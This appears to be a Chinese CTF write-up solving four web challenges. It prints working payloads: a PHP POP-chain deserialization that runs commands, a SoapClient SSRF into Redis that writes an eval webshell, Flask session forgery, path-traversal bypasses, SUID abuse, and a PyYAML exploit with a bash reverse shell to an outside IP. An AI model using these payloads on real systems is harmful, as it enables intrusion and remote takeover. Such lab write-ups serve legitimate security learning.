比赛忘记打了,回头看看题
ez_pop
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
一个简单的链子
sorry::__destruct->show::__tostring->secret_code::show()->sorry::__get->fine::invoke
payload:
<?php
class fine
{
public $cmd;
public $content;
public function __construct()
{
$this->cmd = 'system';
$this->content = 'ls';
}
}
class show
{
public $ctf;
public $time;
}
class sorry
{
public $name;
public $password;
public $hint;
public $key;
}
class secret_code
{
public $code;
}
$a = new sorry();
$a->hint = new show();
$a->hint->ctf = new secret_code();
$a->hint->ctf->code = new sorry();
$a->hint->ctf->code->key = new fine();
$b = $a;
echo serialize($b);
记得替换一下fine后面的元素个数,大于自身的个数就能绕过wakeup
EasyLove
题目提示redis 源代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
$this->wllm = $wllm;
$this->arsenetang = $arsenetang;
$this->l61q4cheng = $l61q4cheng;
$this->love = $love;
}
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}
public function flag(){
$this->love->getflag();
}
public function __destruct(){
$this->newnewnew();
$this->flag();
}
}
class hint{
public $hint;
public function __destruct(){
echo file_get_contents($this-> hint.'hint.php');
}
}
$hello = $_GET['hello'];
$world = unserialize($hello);
值得注意的是这个地方:
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}
在这里的值都是我们可控的,而反序列化打redis一半都是配合ssrf这里也给我们提供了条件 可以使用内置类SoapClient 因为他的destruct函数里面调用所以会自动进入,我们只需要构造我们需要的值即可
<?php
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
}
$a = new swpu();
$a->wllm = 'SoapClient';
$a->arsenetang = null;
$target = 'http://127.0.0.1:6379/';
$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing '<?=eval(\$_REQUEST[1])?>'\r\nsave";
$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");
echo urlencode(serialize($a));
尝试写入一句话进shell.php 发现虽然页面在加载,也就是说我们的命令已经执行,但是访问shell.php发现并未写入,猜测应该是redis有认证,我们需要找到他的密码。 回到题目继续往下看发现源码里面含有一个hint.php 现在就是要尝试读取到hint.php里面的内容 也可以任意构造gopher协议,返回为空,这样他就会直接file_get_contents('hint.php'); 查看发现给出提示
<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?>
猜测20220311是redis的认证密码 直接在flushall前面加上认证再写入一句话 $poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing '<?=eval(\$_REQUEST[1])?>'\r\nsave"; 写入即可 蚁剑连接上去发现在根目录下面有个start.sh 找到了flag的位置,直接cat发现没有权限,猜测需要提权 用ffind寻找suid 蚁剑不好找,而且他也没办法直接反弹,我们可以写一个sh文件然后bash执行就能反弹 find / -perm -u=s -type f 2>/dev/null 发现date命令中-f可以查看文件,直接date -f /hereisflag/flllll111aaagg
hade_waibo
算是非预期的把: 在随意登陆进去之后,发现一个文件读取 然后任意文件读取之后会在图片里面返回出来 能任意文件阅读,题目提示flag在根目录下面的一个文件里面,而且在之前的题目里面看到在根目录下面存在start.sh 直接查看start.sh
#!/bin/sh
echo $FLAG > /ghjsdk_F149_H3re_asdasfc
export FLAG=no_flag
FLAG=no_flag
apache2-foreground
rm -rf /flag.sh
tail -f /dev/null
直接找到咯文件名、 直接进行文件读取 预期解:待会写
BlogSystem
打开发现是一个博客网页,注册的时候发现admin已经被注册掉,而登陆之后带着的flaksession里面解码之后有我们的用户名信息,猜测我们需要变成admin 在博客下面发现在模板中隐藏的secret-key 利用这个secret-key解码发现成功,我们直接用它伪造session ··· 登陆进去之后发现原来注册之后的路由功能,多了一个download 尝试目录穿越,发现..以及// 被替换成空了可以用.//./ 来构造目录穿越 下载到app.py源码
from flask import *
import config
app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *
app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')
@app.context_processor
def login_statue():
username = session.get('username')
if username:
try:
user = User.query.filter(User.username == username).first()
if user:
return {"username": username, 'name': user.name, 'password': user.password}
except Exception as e:
return e
return {}
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', 80)
发现该文件只是浅浅初始化了一下路由,我们着重可以看一下他导入的包 flask config view modle flask就不说了,上面的session伪造, 可以看出来这三个包就是最基本的MVC结构,或者说是MVT 可以浅浅看一下MVT的介绍Peter杰
MVT介绍 MVT 全拼为Model-View-Template MVT 核心思想 : 解耦 MVT 解析 M (模型)全拼为Model, 与MVC中的M功能相同, 负责数据处理, 内嵌了ORM框架. V (视图)全拼为View, 与MVC中的C功能相同, 接收HttpRequest, 业务处理,返回HttpResponse. T (模板)全拼为Template, 与MVC中的V功能相同, 负责封装构造要返回的html, 内嵌了模板引擎.
想要更加深入了解,请移步百度
想要看看他导入的文件直接下载view.py发现没有文件,那么就是在view文件夹下面的内容了,直接下载vew/__init__.py
from .index import index
from .blog import blog
下载index.py以及blog.py
from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_file
from werkzeug.security import check_password_hash
from decorators import login_limit, admin_limit
from model import *
import os
index = Blueprint("index", __name__)
@index.route('/')
def hello():
return render_template('index.html')
@index.route('/register', methods=['POST', 'GET'])
def register():
if request.method == 'GET':
return render_template('register.html')
if request.method == 'POST':
name = request.form.get('name')
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter(User.username == username).first()
if user is not None:
flash("该用户名已存在")
return render_template('register.html')
else:
user = User(username=username, name=name)
user.password_hash(password)
db.session.add(user)
db.session.commit()
flash("注册成功!")
return render_template('register.html')
@index.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'GET':
return render_template('login.html')
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter(User.username == username).first()
if (user is not None) and (check_password_hash(user.password, password)):
session['username'] = user.username
session.permanent = True
return redirect(url_for('index.hello'))
else:
flash("账号或密码错误")
return render_template('login.html')
@index.route("/updatePwd", methods=['POST', 'GET'])
@login_limit
def update():
if request.method == "GET":
return render_template("updatePwd.html")
if request.method == 'POST':
lodPwd = request.form.get("lodPwd")
newPwd1 = request.form.get("newPwd1")
newPwd2 = request.form.get("newPwd2")
username = session.get("username")
user = User.query.filter(User.username == username).first()
if check_password_hash(user.password, lodPwd):
if newPwd1 != newPwd2:
flash("两次新密码不一致!")
return render_template("updatePwd.html")
else:
user.password_hash(newPwd2)
db.session.commit()
flash("修改成功!")
return render_template("updatePwd.html")
else:
flash("原密码错误!")
return render_template("updatePwd.html")
@index.route('/download', methods=['GET'])
@admin_limit
def download():
if request.args.get('path'):
path = request.args.get('path').replace('..', '').replace('//', '')
path = os.path.join('static/upload/', path)
if os.path.exists(path):
return send_file(path)
else:
return render_template('404.html', file=path)
return render_template('sayings.html',
yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')
@index.route('/logout')
def logout():
session.clear()
return redirect(url_for('index.hello'))
blog.py
import os
import random
import re
import time
import yaml
from flask import Blueprint, render_template, request, session
from yaml import Loader
from decorators import login_limit, admin_limit
from model import *
blog = Blueprint("blog", __name__, url_prefix="/blog")
def waf(data):
if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
return False
else:
return True
@blog.route('/writeBlog', methods=['POST', 'GET'])
@login_limit
def writeblog():
if request.method == 'GET':
return render_template('writeBlog.html')
if request.method == 'POST':
title = request.form.get("title")
text = request.form.get("text")
username = session.get('username')
create_time = time.strftime("%Y-%m-%d %H:%M:%S")
user = User.query.filter(User.username == username).first()
blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id)
db.session.add(blog)
db.session.commit()
blog = Blog.query.filter(Blog.create_time == create_time).first()
return render_template('blogSuccess.html', title=title, id=blog.id)
@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
try:
file = request.files.get('editormd-image-file')
fileName = file.filename.replace('..','')
filePath = os.path.join("static/upload/", fileName)
file.save(filePath)
return {
'success': 1,
'message': '上传成功!',
'url': "/" + filePath
}
except Exception as e:
return {
'success': 0,
'message': '上传失败'
}
@blog.route('/showBlog/<id>')
def showBlog(id):
blog = Blog.query.filter(Blog.id == id).first()
comment = Comment.query.filter(Comment.blog_id == blog.id)
return render_template("showBlog.html", blog=blog, comment=comment)
@blog.route("/blogAll")
def blogAll():
blogList = Blog.query.order_by(Blog.create_time.desc()).all()
return render_template('blogAll.html', blogList=blogList)
@blog.route("/update/<id>", methods=['POST', 'GET'])
@login_limit
def update(id):
if request.method == 'GET':
blog = Blog.query.filter(Blog.id == id).first()
return render_template('updateBlog.html', blog=blog)
if request.method == 'POST':
id = request.form.get("id")
title = request.form.get("title")
text = request.form.get("text")
blog = Blog.query.filter(Blog.id == id).first()
blog.title = title
blog.text = text
db.session.commit()
return render_template('blogSuccess.html', title=title, id=id)
@blog.route("/delete/<id>")
@login_limit
def delete(id):
blog = Blog.query.filter(Blog.id == id).first()
db.session.delete(blog)
db.session.commit()
return {
'state': True,
'msg': "删除成功!"
}
@blog.route("/myBlog")
@login_limit
def myBlog():
username = session.get('username')
user = User.query.filter(User.username == username).first()
blogList = Blog.query.filter(Blog.user_id == user.id).order_by(Blog.create_time.desc()).all()
return render_template("myBlog.html", blogList=blogList)
@blog.route("/comment", methods=['POST'])
@login_limit
def comment():
text = request.values.get('text')
blogId = request.values.get('blogId')
username = session.get('username')
create_time = time.strftime("%Y-%m-%d %H:%M:%S")
user = User.query.filter(User.username == username).first()
comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id)
db.session.add(comment)
db.session.commit()
return {
'success': True,
'message': '评论成功!',
}
@blog.route('/myComment')
@login_limit
def myComment():
username = session.get('username')
user = User.query.filter(User.username == username).first()
commentList = Comment.query.filter(Comment.user_id == user.id).order_by(Comment.create_time.desc()).all()
return render_template("myComment.html", commentList=commentList)
@blog.route('/deleteCom/<id>')
def deleteCom(id):
com = Comment.query.filter(Comment.id == id).first()
db.session.delete(com)
db.session.commit()
return {
'state': True,
'msg': "删除成功!"
}
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
if request.args.get('path'):
file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
try:
with open(file, 'rb') as f:
f = f.read()
if waf(f):
print(yaml.load(f, Loader=Loader))
return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
else:
return render_template('sayings.html', yaml='鲁迅说:你说得不对')
except Exception as e:
return render_template('sayings.html', yaml='鲁迅说:'+str(e))
else:
with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
sayings = yaml.load(f, Loader=Loader)
saying = random.choice(sayings)
return render_template('sayings.html', yaml=saying)
主要应该先看这里
@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
try:
file = request.files.get('editormd-image-file')
fileName = file.filename.replace('..','')
filePath = os.path.join("static/upload/", fileName)
file.save(filePath)
return {
'success': 1,
'message': '上传成功!',
'url': "/" + filePath
}
except Exception as e:
return {
'success': 0,
'message': '上传失败'
}
这里对文件名进行了替换,防止了目录穿越 还有一个在前端没有的页面saying
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
if request.args.get('path'):
file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
try:
with open(file, 'rb') as f:
f = f.read()
if waf(f):
print(yaml.load(f, Loader=Loader))
return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
else:
return render_template('sayings.html', yaml='鲁迅说:你说得不对')
except Exception as e:
return render_template('sayings.html', yaml='鲁迅说:'+str(e))
else:
with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
sayings = yaml.load(f, Loader=Loader)
saying = random.choice(sayings)
return render_template('sayings.html', yaml=saying)
如果我们get传入了path,它就会对我们传入的数据进行过滤,如果完成绕过了waf,那么他就会调用yaml的load方法来加载我们的文件 看一下waf
def waf(data):
if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
return False
else:
return True
这里对常用的命令执行参数进行了过滤,完全没办法绕过捏 前面调用到yaml.load也就是可以用到pyyaml反序列化 常用的反序列化标签
!!python/object !!python/object/apply !!python/object/new
(没学过)查看出题人的博客说,object没有合适的模块,不能执行,而第二个又被waf过滤了,那么就只剩第三个了 在源码中apply以及new他们最后进入的是同一个函数,所以payload可以通用
简而言之,就是可以写一个__init__.py 文件,然后用saying里面的load加载,因为无法目录穿越,所以只能使用__init__.py 将整个upload看作为一个软件包,然后就可以执行加载
这样我们就可以实现import static.upload的功能 然后我们直接在__init__.py 里面写入反弹shell命令,在VPS上面接收就可以getshell 访问/blog/saying?path=static/upload/poc.yaml就可以反弹shell 直接cat /flag就行
import os
os.system('bash -c "bash -i >& /dev/tcp/81.68.106.68/2333 0>&1"')
!!python/module:static.upload
|